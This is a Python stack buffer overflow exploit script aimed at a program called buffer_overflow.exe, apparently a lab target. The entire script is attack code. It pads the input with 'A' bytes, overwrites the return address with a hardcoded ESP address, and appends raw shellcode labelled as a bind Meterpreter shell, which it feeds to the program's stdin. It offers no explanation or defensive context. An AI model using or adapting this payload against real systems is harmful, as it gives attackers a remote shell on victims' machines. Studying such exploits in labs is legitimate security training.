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- #! python
- import os
- import sys
- import subprocess
- import binascii
- import time
- ESP_Address = bytes.fromhex('5954C377')
- buf = ""
- # Add ESP, -1500
- buf += "\x81\xC4\x24\xFA\xFF\xFF"
- # Bind Meterpreter Shell
- buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
- buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
- buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
- buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
- buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
- buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
- buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
- buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
- buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
- buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
- buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
- buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
- buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
- buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
- buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
- buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
- buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
- buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
- buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
- buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
- buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
- buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
- bind_staged_shell_payload = bytes(buf, "utf-8")
- Dummy_Data = ("A" * 35).encode()
- final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
- p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
- time.sleep(20)
- p.stdin.write(final_payload)
- p.communicate()[0]
- p.stdin.close()
- sys.exit(0)
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